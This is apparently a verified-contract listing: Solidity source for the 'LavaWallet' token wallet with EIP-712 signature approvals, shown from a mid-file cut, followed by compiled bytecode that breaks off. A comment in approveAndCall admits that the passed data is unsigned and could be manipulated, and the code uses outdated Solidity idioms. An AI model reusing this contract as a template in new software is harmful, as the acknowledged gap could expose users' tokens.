add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract LavaWallet is Owned { using SafeMath for uint; // balances[tokenContractAddress][EthereumAccountAddress] = 0 mapping(address => mapping (address => uint256)) balances; //token => owner => spender : amount mapping(address => mapping (address => mapping (address => uint256))) allowed; mapping(address => uint256) depositedTokens; mapping(bytes32 => uint256) burnedSignatures; event Deposit(address token, address user, uint amount, uint balance); event Withdraw(address token, address user, uint amount, uint balance); event Transfer(address indexed from, address indexed to,address token, uint tokens); event Approval(address indexed tokenOwner, address indexed spender,address token, uint tokens); function LavaWallet() public { } //do not allow ether to enter function() public payable { revert(); } //Remember you need pre-approval for this - nice with ApproveAndCall function depositTokens(address from, address token, uint256 tokens ) public returns (bool success) { //we already have approval so lets do a transferFrom - transfer the tokens into this contract if(!ERC20Interface(token).transferFrom(from, this, tokens)) revert(); balances[token][from] = balances[token][from].add(tokens); depositedTokens[token] = depositedTokens[token].add(tokens); Deposit(token, from, tokens, balances[token][from]); return true; } //No approve needed, only from msg.sender function withdrawTokens(address token, uint256 tokens) public returns (bool success){ balances[token][msg.sender] = balances[token][msg.sender].sub(tokens); depositedTokens[token] = depositedTokens[token].sub(tokens); if(!ERC20Interface(token).transfer(msg.sender, tokens)) revert(); Withdraw(token, msg.sender, tokens, balances[token][msg.sender]); return true; } //Requires approval so it can be public function withdrawTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) { balances[token][from] = balances[token][from].sub(tokens); depositedTokens[token] = depositedTokens[token].sub(tokens); allowed[token][from][to] = allowed[token][from][to].sub(tokens); if(!ERC20Interface(token).transfer(to, tokens)) revert(); Withdraw(token, from, tokens, balances[token][from]); return true; } function balanceOf(address token,address user) public constant returns (uint) { return balances[token][user]; } //Can also be used to remove approval by using a 'tokens' value of 0 function approveTokens(address spender, address token, uint tokens) public returns (bool success) { allowed[token][msg.sender][spender] = tokens; Approval(msg.sender, token, spender, tokens); return true; } ///transfer tokens within the lava balances //No approve needed, only from msg.sender function transferTokens(address to, address token, uint tokens) public returns (bool success) { balances[token][msg.sender] = balances[token][msg.sender].sub(tokens); balances[token][to] = balances[token][to].add(tokens); Transfer(msg.sender, token, to, tokens); return true; } ///transfer tokens within the lava balances //Can be public because it requires approval function transferTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) { balances[token][from] = balances[token][from].sub(tokens); allowed[token][from][to] = allowed[token][from][to].sub(tokens); balances[token][to] = balances[token][to].add(tokens); Transfer(token, from, to, tokens); return true; } //Nonce is the same thing as a 'check number' //EIP 712 function getLavaTypedDataHash(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce) public constant returns (bytes32) { bytes32 hardcodedSchemaHash = 0x8fd4f9177556bbc74d0710c8bdda543afd18cc84d92d64b5620d5f1881dceb37; //with methodname bytes32 typedDataHash = sha3( hardcodedSchemaHash, sha3(methodname,from,to,this,token,tokens,relayerReward,expires,nonce) ); return typedDataHash; } function tokenApprovalWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, bytes32 sigHash, bytes signature) internal returns (bool success) { address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature); //make sure the signer is the depositor of the tokens if(from != recoveredSignatureSigner) revert(); //make sure the signature has not expired if(block.number > expires) revert(); uint burnedSignature = burnedSignatures[sigHash]; burnedSignatures[sigHash] = 0x1; //spent if(burnedSignature != 0x0 ) revert(); //approve the relayer reward allowed[token][from][msg.sender] = relayerReward; Approval(from, token, msg.sender, relayerReward); //transferRelayerReward if(!transferTokensFrom(from, msg.sender, token, relayerReward)) revert(); //approve transfer of tokens allowed[token][from][to] = tokens; Approval(from, token, to, tokens); return true; } function approveTokensWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success) { bytes32 sigHash = getLavaTypedDataHash('approve',from,to,token,tokens,relayerReward,expires,nonce); if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert(); return true; } //the tokens remain in lava wallet function transferTokensFromWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success) { //check to make sure that signature == ecrecover signature bytes32 sigHash = getLavaTypedDataHash('transfer',from,to,token,tokens,relayerReward,expires,nonce); if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert(); //it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though if(!transferTokensFrom( from, to, token, tokens)) revert(); return true; } //The tokens are withdrawn from the lava wallet and transferred into the To account function withdrawTokensFromWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success) { //check to make sure that signature == ecrecover signature bytes32 sigHash = getLavaTypedDataHash('withdraw',from,to,token,tokens,relayerReward,expires,nonce); if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert(); //it can be requested that fewer tokens be sent that were approved -- the whole approval will be invalidated though if(!withdrawTokensFrom( from, to, token, tokens)) revert(); return true; } function tokenAllowance(address token, address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[token][tokenOwner][spender]; } function burnSignature(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success) { bytes32 sigHash = getLavaTypedDataHash(methodname,from,to,token,tokens,relayerReward,expires,nonce); address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature); //make sure the invalidator is the signer if(recoveredSignatureSigner != from) revert(); //only the original packet owner can burn signature, not a relay if(from != msg.sender) revert(); //make sure this signature has never been used uint burnedSignature = burnedSignatures[sigHash]; burnedSignatures[sigHash] = 0x2; //invalidated if(burnedSignature != 0x0 ) revert(); return true; } //2 is burned //1 is redeemed function signatureBurnStatus(bytes32 digest) public view returns (uint) { return (burnedSignatures[digest]); } /* Receive approval to spend tokens and perform any action all in one transaction */ function receiveApproval(address from, uint256 tokens, address token, bytes data) public returns (bool success) { return depositTokens(from, token, tokens ); } /* Approve lava tokens for a smart contract and call the contracts receiveApproval method all in one fell swoop One issue: the data is not being signed and so it could be manipulated */ function approveAndCall(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature ) public returns (bool success) { bytes32 sigHash = getLavaTypedDataHash(methodname,from,to,token,tokens,relayerReward,expires,nonce); if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert(); ApproveAndCallFallBack(to).receiveApproval(from, tokens, token, methodname); return true; } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // Owner CANNOT transfer out tokens which were purposefully deposited // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { //find actual balance of the contract uint tokenBalance = ERC20Interface(tokenAddress).balanceOf(this); //find number of accidentally deposited tokens (actual - purposefully deposited) uint undepositedTokens = tokenBalance.sub(depositedTokens[tokenAddress]); //only allow withdrawing of accidentally deposited tokens assert(tokens <= undepositedTokens); if(!ERC20Interface(tokenAddress).transfer(owner, tokens)) revert(); return true; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306b091f914610122578063094171101461018757806320acbc83146101cc57806339dc5ef2146102d55780634b17bdd81461035a57806355f25e3f146103ff57806379ba50971461050c5780638da5cb5b146105235780638e8758d81461057a5780638f4ffcb114610611578063912d6e28146106dc578063a51fbb3f14610761578063a64b6e5f1461086a578063a9ff2a5e146108ef578063b0e0ef09146109f8578063c272f73e14610a9d578063d4ee1d9014610bec578063dc39d06d14610c43578063f03e786a14610ca8578063f2fde38b14610df7578063f7888aec14610e3a575b600080fd5b34801561012e57600080fd5b5061016d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eb1565b604051808215151515815260200191505060405180910390f35b34801561019357600080fd5b506101b6600480360381019080803560001916906020019092919050505061126d565b6040518082815260200191505060405180910390f35b3480156101d857600080fd5b506102bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611292565b604051808215151515815260200191505060405180910390f35b3480156102e157600080fd5b50610340600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061131f565b604051808215151515815260200191505060405180910390f35b34801561036657600080fd5b506103e5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611710565b604051808215151515815260200191505060405180910390f35b34801561040b57600080fd5b506104ee600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611b5e565b60405180826000191660001916815260200191505060405180910390f35b34801561051857600080fd5b50610521611d58565b005b34801561052f57600080fd5b50610538611ef7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058657600080fd5b506105fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f1c565b6040518082815260200191505060405180910390f35b34801561061d57600080fd5b506106c2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611fe1565b604051808215151515815260200191505060405180910390f35b3480156106e857600080fd5b50610747600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ff8565b604051808215151515815260200191505060405180910390f35b34801561076d57600080fd5b50610850600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061215c565b604051808215151515815260200191505060405180910390f35b34801561087657600080fd5b506108d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506121d2565b604051808215151515815260200191505060405180910390f35b3480156108fb57600080fd5b506109de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612496565b604051808215151515815260200191505060405180910390f35b348015610a0457600080fd5b50610a83600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612523565b604051808215151515815260200191505060405180910390f35b348015610aa957600080fd5b50610bd2600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612a6a565b604051808215151515815260200191505060405180910390f35b348015610bf857600080fd5b50610c01612c75565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c4f57600080fd5b50610c8e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612c9b565b604051808215151515815260200191505060405180910390f35b348015610cb457600080fd5b50610ddd600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612f49565b604051808215151515815260200191505060405180910390f35b348015610e0357600080fd5b50610e38600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506130e7565b005b348015610e4657600080fd5b50610e9b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613186565b6040518082815260200191505060405180910390f35b6000610f4282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320d90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110fa57600080fd5b505af115801561110e573d6000803e3d6000fd5b505050506040513d602081101561112457600080fd5b8101908080519060200190929190505050151561114057600080fd5b7ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567833384600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a16001905092915050565b6000600560008360001916600019168152602001908152602001600020549050919050565b6000806112da6040805190810160405280600881526020017f77697468647261770000000000000000000000000000000000000000000000008152508b8b8b8b8b8b8b611b5e565b90506112ec8a8a8a8a8a8a878a613226565b15156112f757600080fd5b6113038a8a8a8a612523565b151561130e57600080fd5b600191505098975050505050505050565b60008273ffffffffffffffffffffffffffffffffffffffff166323b872dd8530856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156113f857600080fd5b505af115801561140c573d6000803e3d6000fd5b505050506040513d602081101561142257600080fd5b8101908080519060200190929190505050151561143e57600080fd5b6114cd82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136b490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061159f82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136b490919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7838584600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a1600190509392505050565b60006117a182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118ed82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320d90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a3982600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136b490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fd1398bee19313d6bf672ccb116e51f4a1a947e91c757907f51fbb5b5e56c698f8685604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a360019050949350505050565b60008060007f8fd4f9177556bbc74d0710c8bdda543afd18cc84d92d64b5620d5f1881dceb376001029150818b8b8b308c8c8c8c8c604051808a805190602001908083835b602083101515611bc85780518252602082019150602081019050602083039250611ba3565b6001836020036101000a0380198251168184511680821785525050505050509050018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018581526020018481526020018381526020018281526020019950505050505050505050604051809103902060405180836000191660001916815260200182600019166000191681526020019250505060405180910390209050809250505098975050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611db457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509392505050565b6000611fee85848661131f565b9050949350505050565b600081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fa0175360a15bca328baf7ea85c7b784d58b222a50d0ce760b10dba336d226a618685604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a3600190509392505050565b6000806121a46040805190810160405280600781526020017f617070726f7665000000000000000000000000000000000000000000000000008152508b8b8b8b8b8b8b611b5e565b90506121b68a8a8a8a8a8a878a613226565b15156121c157600080fd5b600191505098975050505050505050565b600061226382600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136b490919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fd1398bee19313d6bf672ccb116e51f4a1a947e91c757907f51fbb5b5e56c698f8685604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a3600190509392505050565b6000806124de6040805190810160405280600881526020017f7472616e736665720000000000000000000000000000000000000000000000008152508b8b8b8b8b8b8b611b5e565b90506124f08a8a8a8a8a8a878a613226565b15156124fb57600080fd5b6125078a8a8a8a611710565b151561251257600080fd5b600191505098975050505050505050565b60006125b482600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268682600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320d90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279582600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320d90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156128f557600080fd5b505af1158015612909573d6000803e3d6000fd5b505050506040513d602081101561291f57600080fd5b8101908080519060200190929190505050151561293b57600080fd5b7ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567838684600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a160019050949350505050565b600080600080612a808d8d8d8d8d8d8d8d611b5e565b9250731bf797219482a29013d804ad96d1c6f84fba4c456319045a2584876040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612b17578082015181840152602081019050612afc565b50505050905090810190601f168015612b445780820380516001836020036101000a031916815260200191505b50935050505060206040518083038186803b158015612b6257600080fd5b505af4158015612b76573d6000803e3d6000fd5b505050506040513d6020811015612b8c57600080fd5b810190808051906020019092919050505091508b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515612bd957600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff16141515612c1357600080fd5b600560008460001916600019168152602001908152602001600020549050600260056000856000191660001916815260200190815260200160002081905550600081141515612c6157600080fd5b600193505050509998505050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612cfb57600080fd5b8473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015612d9657600080fd5b505af1158015612daa573d6000803e3d6000fd5b505050506040513d6020811015612dc057600080fd5b81019080805190602001909291905050509150612e25600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361320d90919063ffffffff16565b9050808411151515612e3357fe5b8473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612ef757600080fd5b505af1158015612f0b573d6000803e3d6000fd5b505050506040513d6020811015612f2157600080fd5b81019080805190602001909291905050501515612f3d57600080fd5b60019250505092915050565b600080612f5c8b8b8b8b8b8b8b8b611b5e565b9050612f6e8a8a8a8a8a8a878a613226565b1515612f7957600080fd5b8873ffffffffffff